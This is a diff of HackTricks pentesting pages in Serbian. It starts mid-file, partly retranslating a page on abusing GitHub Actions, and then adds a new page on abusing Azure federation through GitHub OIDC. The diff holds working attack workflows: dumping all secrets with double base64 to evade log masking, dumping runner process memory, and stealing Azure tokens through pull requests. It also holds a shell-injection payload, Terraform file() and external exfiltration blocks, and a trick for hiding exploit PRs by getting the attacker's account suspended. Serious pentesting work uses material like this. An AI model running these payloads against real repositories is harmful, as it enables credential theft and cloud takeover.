secret ili token postavljen kao **environment variable**, može se direktno pristupiti kroz environment koristeći **`printenv`**. +- Ako je secret ili token postavljen kao **environment variable**, može se direktno pristupiti iz okruženja koristeći **`printenv`**.
@@ -505,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Dobijte reverse shell koristeći secrets +Dobijte reverse shell with secrets ```yaml name: revshell on: @@ -532,7 +534,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} - ```bash cat /home/runner/work/_temp/* ``` -- Za JavaScript actions, secrets se šalju putem environment variables +- Za JavaScript actions secrets se šalju kroz environment variables - ```bash ps axe | grep node ``` @@ -544,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally: +- Enumerišite sve secrets preko secrets context (collaborator nivo). Kontributor sa write pristupom može izmeniti workflow na bilo kojoj grani da iskopira sve repository/org/environment secrets. Koristite double base64 da izbegnete GitHub-ovo maskiranje logova i dekodirajte lokalno: ```yaml name: Steal secrets @@ -560,31 +562,31 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -Decode locally: +Dekodirajte lokalno: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). +Savet: za prikrivanje tokom testiranja, enkriptujte pre štampanja (openssl je predinstaliran na GitHub-hosted runner-ima). ### Zloupotreba Self-hosted runners -Način da se pronađe koje **Github Actions se izvršavaju u non-github infrastrukturi** je da se pretraži **`runs-on: self-hosted`** u Github Action konfiguracionom yaml-u. +Način da se pronađe koje **Github Actions are being executed in non-github infrastructure** je da se pretraži **`runs-on: self-hosted`** u Github Action konfiguracionom yaml-u. -**Self-hosted** runners mogu imati pristup **dodatno osetljivim informacijama**, drugim **network systems** (vulnerable endpoints in the network? metadata service?) ili, čak i ako su izolovani i uništeni, **više od jedne action može biti pokrenuto istovremeno** i zlonamerna može **steal the secrets** druge. +**Self-hosted** runners mogu imati pristup **extra sensitive information**, drugim **network systems** (ranjivi endpoints u mreži? metadata service?) ili, čak i ako su izolovani i uništeni, **više od jedne action može biti pokrenuto u isto vreme** i zlonamerna može **steal the secrets** druge. -U self-hosted runner-ima je takođe moguće dobiti **secrets from the \_Runner.Listener**\_\*\* process\*\* koji će sadržati sve secrets of the workflows u bilo kom koraku dumping its memory: +Na self-hosted runner-ima je takođe moguće dobiti **secrets from the \_Runner.Listener**\_\*\* process\*\* koji će sadržati sve secrets workflow-ova u bilo kom koraku, iskopiranjem njegove memorije: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Pogledajte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -Moguće je kreirati Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\\ -Primer se može naći u sledećem proširivom elementu: +Moguće je napraviti Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\ +Primer možete naći u sledećem proširivom odeljku:
@@ -619,14 +621,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Kao što možete videti u prethodnom kodu, Github registry je hostovan u **`ghcr.io`**. +Kao što možete videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**. -Korisnik sa read permissions nad repom će onda moći da preuzme Docker Image koristeći personal access token: +Korisnik sa read permissions nad repozitorijumom će tada moći da preuzme Docker Image koristeći personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Zatim, korisnik bi mogao da pretraži **leaked secrets in the Docker image layers:** +Zatim, korisnik bi mogao da potraži **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -634,18 +636,18 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Osetljivi podaci u Github Actions logovima -Čak i ako **Github** pokuša da **detect secret values** u actions logovima i **avoid showing** njih, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom neće biti sakriven osim ako nije [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Čak i ako **Github** pokuša da **otkrije vrednosti tajni** u logovima akcija i **izbegne njihovo prikazivanje**, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Skrivanje tragova -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki podignuti PR je jasno vidljiv javnosti na Github i ciljanom GitHub nalogu. Na GitHub-u po defaultu ne možemo obrisati PR sa interneta, ali postoji caka. Za Github naloge koje je GitHub **suspendovao**, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspended or get your account flagged**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini ukloniti sve vaše exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Pre svega, svaki podnet PR je jasno vidljiv javnosti na Github i ciljanom GitHub nalogu. U GitHub-u po defaultu, mi **ne možemo obrisati PR sa interneta**, ali postoji caka. Za Github naloge koji su **suspendovani** od strane Github-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, morate ili da vam **GitHub nalog bude suspendovan ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR). -Organizacija na GitHub-u je veoma proaktivna u prijavljivanju naloga GitHub-u. Sve što treba da uradite je da podelite “some stuff” u Issue i oni će se pobrinuti da vam nalog bude suspendovan za 12 sati :p i eto — vaš exploit postaje nevidljiv na GitHub-u. +Organizacija na GitHub-u je veoma proaktivna u prijavljivanju naloga GitHub-u. Sve što treba da uradite je da podelite “neke stvari” u Issue i oni će se pobrinuti da vam nalog bude suspendovan u roku od 12 sati :p i eto — vaš exploit postaje nevidljiv na github. > [!WARNING] -> Jedini način da organizacija otkrije da je bila meta je da proveri GitHub logs iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen. +> Jedini način da organizacija otkrije da je bila meta jeste da proveri GitHub logove iz SIEM-a pošto će iz GitHub UI PR biti uklonjen. -## References +## Reference - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..91061e2e6 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Pregled + +GitHub Actions može da se federira sa Azure Entra ID (ranije Azure AD) koristeći OpenID Connect (OIDC). GitHub workflow zahteva kratkotrajan GitHub ID token (JWT) koji enkodira detalje o izvršavanju. Azure validira ovaj token u odnosu na Federated Identity Credential (FIC) na App Registration (service principal) i razmenjuje ga za Azure access tokens (MSAL cache, bearer tokens for Azure APIs). + +Azure validira bar: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (kada se razmenjuje za Azure tokens) +- sub: mora odgovarati konfigurisanoj FIC Subject identifier + +> Podrazumevani GitHub aud može biti GitHub URL. Kada razmenjujete sa Azure, eksplicitno postavite audience=api://AzureADTokenExchange. + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Da biste prisilili Azure audience prilikom zahteva za token: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure podešavanje (Workload Identity Federation) + +1) Kreirajte App Registration (service principal) i dodelite najmanje privilegije (npr. Storage Blob Data Contributor na konkretnom storage account-u). + +2) Dodajte Federated identity credentials: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: usko ograničen na predviđeni workflow/run kontekst (pogledajte Scoping and risks dole). + +3) Koristite azure/login da razmenite GitHub ID token i prijavite se u Azure CLI: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Primer ručne razmene (prikazan opseg Graph-a; ARM i ostali resursi slično): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) anatomija i prilagođavanje + +Podrazumevani format sub-a: repo:/: + +Vrednosti za context uključuju: +- environment: +- pull_request (PR se pokreće kada nije u environment-u) +- ref:refs/(heads|tags)/ + +Korisni claims koji se često pojavljuju u payload-u: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Prilagodite sastav sub-a koristeći GitHub API da uključite dodatne claims i smanjite rizik od kolizije: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Napomena: Dvotačke u imenima okruženja su URL‑kodirane (%3A), čime su uklonjeni stariji trikovi ubacivanja delimitera koji su iskorišćavali parsiranje sub. Međutim, korišćenje nejedinstvenih subject‑ova (npr. samo environment:) i dalje nije bezbedno. + +## Opseg i rizici FIC tipova subject-a + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Rizik: Ako je grana/tag nezaštićen, bilo koji contributor može push-ovati i dobiti tokene. +- Environment: sub=repo:/:environment: +- Rizik: Nezaštićena okruženja (bez reviewers) omogućavaju contributor-ima da generišu tokene. +- Pull request: sub=repo:/:pull_request +- Najveći rizik: Bilo koji collaborator može otvoriti PR i zadovoljiti FIC. + +PoC: Krađa tokena pokrenuta PR‑om (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Povezane lokacije fajlova i napomene: +- Linux/macOS: ~/.azure/msal_token_cache.json sadrži MSAL tokene za az CLI sesije +- Windows: msal_token_cache.bin u korisničkom profilu; zaštićen DPAPI-jem + +## Reusable workflows i job_workflow_ref scoping + +Pozivanje reusable workflow-a dodaje job_workflow_ref u GitHub ID token, npr.: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +FIC primer za povezivanje i repo pozivaoca i ponovo upotrebljivog toka rada: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Konfigurišite claims u repo pozivaoca tako da su i repo i job_workflow_ref prisutni u sub: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Upozorenje: Ako u FIC povežete samo job_workflow_ref, napadač može да kreira drugi repo u istoj organizaciji, pokrene isti reusable workflow на istom ref-u, zadovolji FIC и mint tokens. Uvek uključite i caller repo. + +## Vektori izvršavanja koda koji zaobilaze job_workflow_ref zaštitu + +Čak i sa pravilno ograničenim job_workflow_ref, bilo koji caller‑controlled podaci koji dospeju u shell bez bezbednog citiranja mogu dovesti do izvršavanja koda unutar zaštićenog konteksta workflow-a. + +Primer ranjivog reusable step-a (necitirana interpolacija): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Zlonamerni unos pozivaoca za izvršavanje komandi i eksfiltraciju Azure token cache: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan kao izvršna primitiva u PR-ovima + +Smatrajte Terraform plan izvršavanjem koda. Tokom faze planiranja, Terraform može: +- Čitati proizvoljne fajlove putem funkcija kao što je file() +- Izvršavati komande putem external data source + +Primer za exfiltrate Azure token cache tokom planiranja: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Ili koristite external za pokretanje proizvoljnih komandi: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Dozvoljavanje FICs koji se mogu koristiti za planove pokrenute iz PR‑a izlaže privilegovane tokene i može pripremiti destruktivni apply kasnije. Odvojite identitete za plan i apply; nikada ne dozvolite privilegovane tokene u nepouzdanim PR kontekstima. + +## Kontrolna lista za jačanje bezbednosti + +- Nikada ne koristite sub=...:pull_request za osetljive FICs +- Zaštitite bilo koji branch/tag/environment koji se referencira u FICs (branch protection, environment reviewers) +- Preferirajte FICs opsega i za repo i za job_workflow_ref za reusable workflows +- Prilagodite GitHub OIDC sub da uključi jedinstvene claims (npr., repo, job_workflow_ref, repository_owner) +- Eliminišite unquoted interpolation inputa pozivaoca u run steps; enkodirajte/oznakčite navodnicima bezbedno +- Smatrajte terraform plan kao izvršavanje koda; ograničite ili izolujte identitete u PR kontekstima +- Primenujte princip najmanjih privilegija na App Registrations; odvojite identitete za plan i apply +- Zaključajte actions i reusable workflows na commit SHAs (izbegavajte branch/tag pins) + +## Saveti za manuelno testiranje + +- Zatražite GitHub ID token u workflow‑u i ispišite ga kao base64 da izbegnete masking +- Dekodirajte JWT da proverite claim‑ove: iss, aud, sub, job_workflow_ref, repository, ref +- Ručno zamenite ID token preko login.microsoftonline.com da potvrdite poklapanje FIC i scope‑ova +- Nakon azure/login, pročitajte ~/.azure/msal_token_cache.json da verifikujete prisustvo token materijala + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}